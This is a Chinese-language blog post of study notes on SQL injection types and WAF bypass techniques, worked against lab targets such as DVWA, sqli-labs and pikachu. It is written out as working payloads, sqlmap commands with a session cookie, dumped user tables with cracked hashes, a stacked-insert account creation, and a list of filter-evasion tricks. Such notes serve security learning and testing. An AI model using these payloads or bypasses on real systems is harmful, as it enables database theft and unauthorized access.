SQL 注入与绕 WAF


简介

程序没有对用户提交的参数做过滤,就直接放到 sql 语句中执行。使用精心构造的 payload 就可以打破 sql 语句原有逻辑,执行任意 sql 语句,例如查询、下载、写马、执行系统命令及绕过登录限制。
代码层最佳防御 sql 漏洞方案:采用 sql 语句预编译和绑定变量,是防御sql 注入的最佳方法。
information_schema 库存在于 mysql 5.0 之后的版本。其中有几个重要的表:tables、columns
确定存在注入以后,进行以下操作:
判断注入类型
判断字段数:order by n,只有 n<=字段数才可以正常回显
确定回显点:union select 1,2
查询数据库信息
查询用户名、数据库名:user() database()
文件读取:union select 1,load_file() --+
写入 webshell:select...into outfile
注入方式:
get:传参在 url 中,有长度限制。
post:传参在请求体中
cookie:服务器从请求头获取一些信息。
注入类型:
int 整型 select * from users where id=1
sting 字符型 select * from users where username='admin'
like 搜索型 select * from news where title like '%标题%'

分类

联合查询

测试环境:dvwa-low (字符型注入)
联合两个表进行注入攻击,两个表的字段数要相同,否则会报错。

// 判断类型
id='  // 报语法错误
id=1' and '1'='1  // 正常回显
id=1' and '1'='2  // 没有回显
综上,判断存在字符型注入
确定字段数
1' order by 2 --+  // 正常回显
1' order by 3 --+  // 错误回显
综上,确定字段数为 2
寻找回显点
id=-1' union select 1,2 --+  
First name: 1
Surname: 2
判断回显点,发现1,2都可以显示出来
查数据库名与版本号
?id=-1' union select database(),version()
查询结果如下:
First name: dvwa
Surname: 5.7.33-0ubuntu0.16.04.1
查询 dvwa 库中的表名
?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+
First name: 1
Surname: guestbook,users
查询 users 表的字段名
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
First name: 1 
Surname: id,login,password,email,secret,activation_code,activated,reset_code,admin,user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,email,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password,level,id,username,password,level
查询 user password 字段
id=-1' union select group_concat(user),group_concat(password) from users --+
First name: admin,gordonb,1337,pablo,smithy 
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

布尔盲注

测试环境:dvwa-low (布尔盲注)
本关卡,只有两种回显:
User ID exists in the database.
User ID is MISSING from the database.
有的情况可能都没有回显,那就得时间盲注: 1’and sleep(10)–+
由于回显信息不足,所以不能使用联合查询,这里使用:
1' and if(1=1,1,0) --+ 这里的 1=1 换成构造的语句。
手工测试

判断类型
id='  // 回显错误
id=1' and '1'='2  // 回显正常
id=1' and '1'='2  // 回显错误
综上确定为字符型盲注
判断字段数
id=1' order by 2 --+  // 回显正常
id=1' order by 3 --+  // 回显错误
综上,判断为两个字段
判断数据库名长度
id=1' and length(database())=3 --+  // 回显错误
id=1' and length(database())=4 --+  // 回显正确
综上,数据库名长度为 4
遍历数据库名
?id=1' and ascii(substr(database(),1,1))=100 --+  // 回显正确
以此类推,用 ChatGpt 写个 python 脚本实现

sqlmap
需要 cookie,否则会重定向到登录页面
在控制台 document.cookie 获取 cookie:
security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6
–batch 在接下来的交互中默认 yes
-technique 后面跟使用的 sql 注入技术,这里用布尔盲注 B

查询数据库名
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --current-db
查询 dvwa 下的表名
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --tables -D dvwa 
查询 users 表下的字段
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --columns -D dvwa -T users
查询 users 表的详细信息
sqlmap -u "http://192.168.84.132/01/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=nir1851irra10d40cd9kkj49j6" --batch --technique=B --dump -D dvwa -T users --columns
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | user    | avatar                         | password                                    | last_name | first_name | last_login          | failed_login |
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 3       | 1337    | /01/hackable/users/1337.jpg    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2020-01-09 16:58:08 | 0            |
| 1       | admin   | /01/hackable/users/admin.jpg   | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin     | admin      | 2020-01-09 16:58:08 | 0            |
| 2       | gordonb | /01/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2020-01-09 16:58:08 | 0            |
| 4       | pablo   | /01/hackable/users/pablo.jpg   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2020-01-09 16:58:08 | 0            |
| 5       | smithy  | /01/hackable/users/smithy.jpg  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2020-01-09 16:58:08 | 0            |
+---------+---------+--------------------------------+---------------------------------------------+-----------+------------+---------------------+--------------+

报错注入

测试环境:dvwa-low
利用条件:遇到错误时,数据库会提示报错信息,回显到页面
判断是否存在报错注入:捏造一个函数进行调用,如果存在报错注入,就可以回显出该函数不存在。
1'and (updatexml(1,concat(0x7e,(select database()),0x7e),1))--+
但是采用 updatexml 报错函数 只能显示 32 长度的内容,如果获取的内容超过32字符就要采用字符串截取方法。每次获取 32 个字符串的长度。
sqlmap 也支持报错注入
可以用 bp + 字典代替这个重复的过程
应该也能用脚本实现
还有很多函数支持报错注入:
floor、extractvalue等详见暗月师傅笔记

时间盲注

使用情景:无论输入什么,回显都一样
用sqlmap跑

堆叠注入

堆叠查询就是执行多条语句,以分号分隔。
在 mysql 里mysqli_multi_querymysql_multi_query这两个函数执行一个或多个针对数据库的查询。
而堆叠查询注入攻击就是利用此特点,在第二条语句中构造要执行攻击的语句。堆叠查询只能返回第一条查询信息,不返回后面的信息。
堆叠注入的危害是很大的 可以任意使用增删改查的语句,例如删除数据库修改数据库,添加数据库用户。
测试环境:sqlilabs-38
id=-1';insert into users values(20,'moonsec','123') --+
然后访问?id=20,成功查询到这个新增的用户。

二次注入

在第一次插入数据时,仅仅使用addslashes或借助get_magic_quotes_gpc对其中的特殊字符进行了转义。其中addslashes在接收参数时会添加\进行转义,但是在插入到数据库中时不会携带。下一次查询时,没有经过校验和处理,直接取出,这样会造成二次注入。
测试环境:sqlilbas-24
分析源码:
注册页面,使用了mysql_escape_string函数接收传参admin' #,函数转义成admin\' #,但是在插入数据库时,数据库引擎会处理转义字符,还原回去,最终插入到数据库中为 admin' #
登录页面,使用mysql_real_escape_string函数接收传参admin' #,函数转义成 admin\' #,然后去数据库中查询admin\' #,查询时,数据库引擎又会还原转义字符为 admin' #,然后进行查询,将查询结果admin\' #放入到 Session 中。
在修改密码页面,从 Session 中获取 username 字段:admin' #,我们随便输入当前密码,记住我们输入的修改密码。接下来执行 update语句,此时就发生了二次注入,update 后半段被注释了,所以可以任意输入当前密码,这样 admin 用户的密码就被修改了。我们尝试登录 admin 用户,登录成功!

宽字节注入

在预防 SQL 注入时,会开启 gpc,转义特殊字符。一般情况下开启 gpc 是可以防御很多字符串型的注入,但是如果数据库编码不对,也可能导致 SQL 防注入绕过,达到注入的目的。
简而言之:Web 编码和数据库编码设置为两个不同的编码就可能产生宽字节注入。
宽字节注入前提条件:
数据库后端使用双/多字节解析 SQL 语句,其次该字符集范围中包含低字节位 0x5c 的字符( 在 ASCII 和大多数字符集编码中,0x5C 对应的字符是反斜杠 \)。Big5 和 GBK 字符集都是有的,UTF-8,GB2312 没有这种字符(也就不存在宽字节注入)。
逃逸 gpc 演示:
%df%27 -- addslashes -> %df%5c%27 -- 数据库(GBK) -> 運'
测试环境:sqlilabs-32
?id=%df%27输入后出现乱码,证明存在宽字节注入
id=-1%df%27 union select 1, version(), database() --+
COOKIE 注入
cookie 功能多数用于商城购物车,或者用户登录验证,可以对这些功能模块进行测试,抓取cookie 包进行安全测试。
cookie 注入与 get、post 注入区别只是传参的位置不一样:get 在 url 传参,post 在请求体传参,cookie 在 cookie 头传参

base64 编码注入

有不少网站使用 base64 进行数据传输,如搜索栏或者id 接收参数有可能使用 base64 处理传参。
base64 编码注入,可以逃逸 gpc。原理:编码后的字符串不存在特殊字符,在程序中重新解码,产生注入。
测试环境:sqlilabs-less21
admin') and info() -- ->YWRtaW4nKSBhbmQgaW5mbygpIC0tIA==
注入后发现报错 info 函数不存在,所以这里可以进行报错注入
admin') and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--编码以后注入,成功读取到用户名

xff 注入

X-Forwarded-For 简称 XFF 头,它代表了客户端的真实 IP,通过修改他的值就可以伪造客户端IP。XFF 并不受 gpc 影响,而且开发人员很容易忽略这个 XFF 头,不会对 XFF 头进行过滤。

绕过

大小写绕过

双写绕过

利用关键字 all、distinct 绕过

编码绕过

换行绕过

目前很多 waf 都会对 union select 进行过滤,于是我们可以使用换行并加上一些注释符,进行拆分从而绕过。

mysql> select * from users where id=-1 union /*dzq*/ select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

添加库名绕过

有些 waf 的拦截规则并不会过滤(库名.表名)这种结构
添加库名,进行跨库查询:

mysql> select * from users where id=-1 union select 1,2,concat(user,authentication_string) from mysql.user;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | root     |
+----+----------+----------+
1 row in set (0.00 sec)

去重绕过

使用 DISTINCT 可能会改变查询的模式,从而绕过某些 WAF 的检测机制。

mysql> select * from users where id = -1 union select 1,2,3 from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id = -1 union distinct select 1,2,3 from users;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | 2        | 3        |
+----+----------+----------+
1 row in set (0.00 sec)

利用反引号绕过

利用反引号绕过一些 waf。字段可以加或不加反引号,意义相同。

mysql> insert into users(id,username,password) values (20,'dyy','dyy');
Query OK, 1 row affected (0.01 sec)

mysql> insert into users(`id`,`username`,`password`) values (21,'dyy','dyy');
Query OK, 1 row affected (0.00 sec)

利用脚本语言特性绕过

在 php 中id=1&id=2后面的值会自动覆盖前面的值,不同的语言有不同的特性,利用这个可以绕过一些 waf。
id=1%00id=2 union select 1,2,3
有些 waf 会去匹配第一个 id 参数1%00,其中%00表示截断,waf 会自动截断,从而不会检测后面的内容。到了程序中后,就会读到id=2 union select 1,2,3
利用 ASCII 码对比绕过
很多 waf 对 union select 进行拦截,而且拦截的比较彻底,我们就不能使用联合查询了,可以尝试字符截取对比法,进行突破:一个字符一个字符截取,如果可以输出结果,就说明猜对了。
也可以把 ‘r’ 换成 ascii 码,如果开启 gpc 就不可以了。

mysql> select * from users where id=1 and substring(user(),1,1)='r';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and substring(user(),2,1)='o';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.01 sec)

mysql> select * from users where id=1 and substring(user(),3,1)='o';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and substring(user(),4,1)='t';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))=114;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.01 sec)

二次编码绕过

有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码后,waf 不会拦截。
利用偏僻函数绕过
偏僻函数,比如polygon()可以替代updatexml

利用白名单绕过

有些 waf 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以利用这个特点,在 payload 前加上白名单,进行绕过。白名单通常有:/admin、/phpmyadmin、/admin.php
测试环境:pikachu-sql 字符型注入
a=/admin.php&name=vince' union select 1,2 --+&submit=%E6%9F%A5%E8%AF%A2
利用 http 相同参数请求绕过
有些 waf 在对危险字符进行检测时,分别为 post,get 请求设定了不同的匹配规则,同时如果程序能同时接收 get、post 请求,那么通过变更请求方式的方法,就可能绕过 waf。
application/json 或者 text/html绕过
有些程序时 json 提交参数,程序也是 json 接收再拼接到 SQL 执行,json 通常不会被拦截,所以可以绕 waf。
text/html 同理。

运行大量字符绕过

绕过原理:
● 规则覆盖: WAF 通常使用一组预定义的规则来检测和阻止恶意请求。如果攻击者能够生成非常复杂或长的请求,可能会导致这些规则无法准确匹配或超出其规则的处理能力。
● 正则表达式限制: WAF 可能使用正则表达式来匹配恶意模式。如果攻击者使用非常长的 payload,可以使正则表达式变得非常复杂,从而导致 WAF 的正则表达式引擎性能下降或无法准确匹配。
测试环境:pikachu sql 数字型注入
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E 8%AF%A2
payload 解释:
● /!union/ 和 /!select/:
● 这些是 MySQL 特有的注释格式,用于条件编译(Conditional Comments)。/! 是 MySQL 的一种注释风格,用于在执行时决定是否运行后面的代码。/! 注释后跟的内容是一个版本号。例如 /!union/ 表示在特定版本的 MySQL 中(即包含 union 操作的版本),这段代码将被执行。如果数据库版本不支持这些功能,这段代码将被忽略。
● and (select 0xA1000):
● 这部分是一个计算查询。0xA 是十六进制表示的 10,0xA
1000 的结果是 10000。这个子查询返回单一的值 10000。由于 select 0xA*1000 只是一个计算,结果只是一个值,而不是一组记录。这个子查询的结果不会被实际输出到页面,而是被数据库引擎处理并返回。
● union select 1, user():
● 这部分使用 UNION 操作符将多个 SELECT 查询的结果合并。在这个例子中,union select 1, user() 试图将 1 和当前数据库用户的信息作为查询结果返回。UNION 操作符要求所有参与合并的 SELECT 查询返回相同数量的列。因此,这里的 union select 1, user() 需要与原始查询返回的列数相匹配。

利用花括号绕过

mysql> select 1,2 union select{x 1},user();
+---+----------------+
| 1 | 2              |
+---+----------------+
| 1 | 2              |
| 1 | root@localhost |
+---+----------------+
2 rows in set (0.00 sec)

绕过引号

如果 waf 把单引号给过滤了,那我们可以用双引号。

mysql> select * from users where id='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

还可以用十六进制,避免使用引号

mysql> select * from users where username='admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select hex('admin');                       
+--------------+
| hex('admin') |
+--------------+
| 61646D696E   |
+--------------+
1 row in set (0.00 sec)

mysql> select * from users where username=0x61646D696E;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  8 | admin    | admin    |
+----+----------+----------+
1 row in set (0.00 sec)

绕过逗号

有些 waf 会对逗号过滤,这样就会导致原有逗号的 sql 语句报错。解决:
substr 截取字符串

mysql> select(substr(database() from 1 for 55));
+------------------------------------+
| (substr(database() from 1 for 55)) |
+------------------------------------+
| security                           |
+------------------------------------+
1 row in set (0.00 sec)

mid 截取字符串
mid 函数和 substr 函数类似,如果 substr 被过滤,可以用 min 试一下。
使用 join 绕过

mysql> select 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

创建两个表赋别名,然后用 join 连接

mysql> select * from (select 1)a join (select 2)b;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

like 绕过

查询成功返回 1,否则返回 0.
一个字符一个字符进行匹配,从而找到所有字符,这种方法没有逗号,从而绕过 waf。

mysql> select user() like '%root%';
+----------------------+
| user() like '%root%' |
+----------------------+
|                    1 |
+----------------------+
1 row in set (0.00 sec)

mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

limit offset 绕过

逗号被过滤后,限定条目时,就不能limit 0,1。解决:
limit 1 offset 0

mysql> select * from users limit 0,1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users limit 1 offset 0;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

绕过 or and xor not

目前主流 waf 都会对常见的 sql 注入语句进行过滤,如:id=1 and 1=1、id=1 and 1=2、id=1 or 1=1、 id=0 xor 1=1 limit 1等。
用如下符号代替:
and -> &&、or -> ||、not -> !、xor -> |
还可以使用运算符号 id=1 && 2=1+1

绕过等号

如果=被过滤,可以使用like、rlike、regexp、绕过。

mysql> select * from users where id=1 and ascii(substring(user(),1,1))<114;
Empty set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))<115;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ascii(substring(user(),1,1))>115;
Empty set (0.00 sec)

mysql> select * from users where id=1 and (select substring(user(),1,1) like 'r%');                           
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and (select substring(user(),1,1) rlike 'r');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select user() regexp '^r';
+--------------------+
| user() regexp '^r' |
+--------------------+
|                  1 |
+--------------------+
1 row in set (0.00 sec)

mysql> select user() regexp '^d';
+--------------------+
| user() regexp '^d' |
+--------------------+
|                  0 |
+--------------------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and 1=(select user() regexp '^r');                                   
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

绕过空格字符

%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
%a0 空格
可以将空格字符替换成注释 /**/

绕过 order by

如果 order by 被过滤,无法猜解字段时,可以用 into 变量名代理。
原理:这里的 INTO 子句将查询结果的列分别存储到指定的变量中。@a, @b, @c, 和 @d 是 SQL 变量,用于接收查询结果中的每一列的值。变量的数量和查询结果的列数必须匹配,否则会出现错误。

mysql> select * from users where id=1 into @d,@z,@q;
Query OK, 1 row affected (0.00 sec)

mysql> select * from users where id=1 into @d,@z,@q,@a;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
  • 15
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值